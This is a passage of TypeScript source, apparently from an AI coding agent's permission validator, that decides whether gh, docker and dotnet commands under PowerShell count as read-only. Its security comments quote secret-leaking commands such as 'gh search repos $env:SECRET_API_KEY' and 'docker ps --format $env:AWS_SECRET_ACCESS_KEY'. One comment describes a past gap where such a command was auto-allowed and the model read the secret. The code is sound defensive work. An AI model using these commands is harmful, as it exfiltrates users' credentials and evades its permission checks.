1726      config = GH_READ_ONLY_COMMANDS[oneWordKey]
1727      subcommandTokens = 1
1728    }
1729  
1730    if (!config) {
1731      return false
1732    }
1733  
1734    const flagArgs = args.slice(subcommandTokens)
1735  
1736    // SECURITY: Reject any arg containing `$` (variable reference). Bare
1737    // VariableExpressionAst positionals reach here as literal text ($env:SECRET).
1738    // deriveSecurityFlags does not gate bare Variable args — only subexpressions,
1739    // splatting, expandable strings, etc. All gh subcommands are network-facing,
1740    // so a variable arg is a data-exfiltration vector:
1741    //   gh search repos $env:SECRET_API_KEY
1742    //   → PowerShell expands at runtime → secret sent to GitHub API.
1743    // git ls-remote has an equivalent inline guard; this generalizes it for gh.
1744    // Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352.
1745    for (const arg of flagArgs) {
1746      if (arg.includes('$')) {
1747        return false
1748      }
1749    }
1750    if (
1751      config.additionalCommandIsDangerousCallback &&
1752      config.additionalCommandIsDangerousCallback('', flagArgs)
1753    ) {
1754      return false
1755    }
1756    return validateFlags(flagArgs, 0, config)
1757  }
1758  
1759  function isDockerSafe(args: string[]): boolean {
1760    if (args.length === 0) {
1761      return true
1762    }
1763  
1764    // SECURITY: blanket PowerShell `$` variable rejection. Same guard as
1765    // isGitSafe and isGhSafe. Parser differential: validator sees literal
1766    // '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path
1767    // return — the previous location (after fast-path) never fired for
1768    // `docker ps`/`docker images`. The earlier comment claiming those take no
1769    // --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY`
1770    // auto-allowed, PowerShell expanded, docker errored with the secret in
1771    // its output, model read it. Check ALL args, not flagArgs — args[0]
1772    // (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't
1773    // applicable here: this function receives string[] (post-stringify), not
1774    // ParsedCommandElement; the isAllowlistedCommand caller applies the
1775    // elementTypes gate one layer up.
1776    for (const arg of args) {
1777      if (arg.includes('$')) {
1778        return false
1779      }
1780    }
1781  
1782    const oneWordKey = `docker ${args[0]?.toLowerCase()}`
1783  
1784    // Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 'docker images')
1785    // have no flag constraints — allow unconditionally (after $ guard above).
1786    if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) {
1787      return true
1788    }
1789  
1790    // DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have
1791    // per-flag configs. Mirrors isGhSafe: look up config, then validateFlags.
1792    const config: ExternalCommandConfig | undefined =
1793      DOCKER_READ_ONLY_COMMANDS[oneWordKey]
1794    if (!config) {
1795      return false
1796    }
1797  
1798    const flagArgs = args.slice(1)
1799  
1800    if (
1801      config.additionalCommandIsDangerousCallback &&
1802      config.additionalCommandIsDangerousCallback('', flagArgs)
1803    ) {
1804      return false
1805    }
1806    return validateFlags(flagArgs, 0, config)
1807  }
1808  
1809  function isDotnetSafe(args: string[]): boolean {
1810    if (args.length === 0) {
1811      return false
1812    }
1813  
1814    // dotnet uses top-level flags like --version, --info, --list-runtimes
1815    // All args must be in the safe set
1816    for (const arg of args) {
1817      if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) {
1818        return false
1819      }
1820    }
1821  
1822    return true
1823  }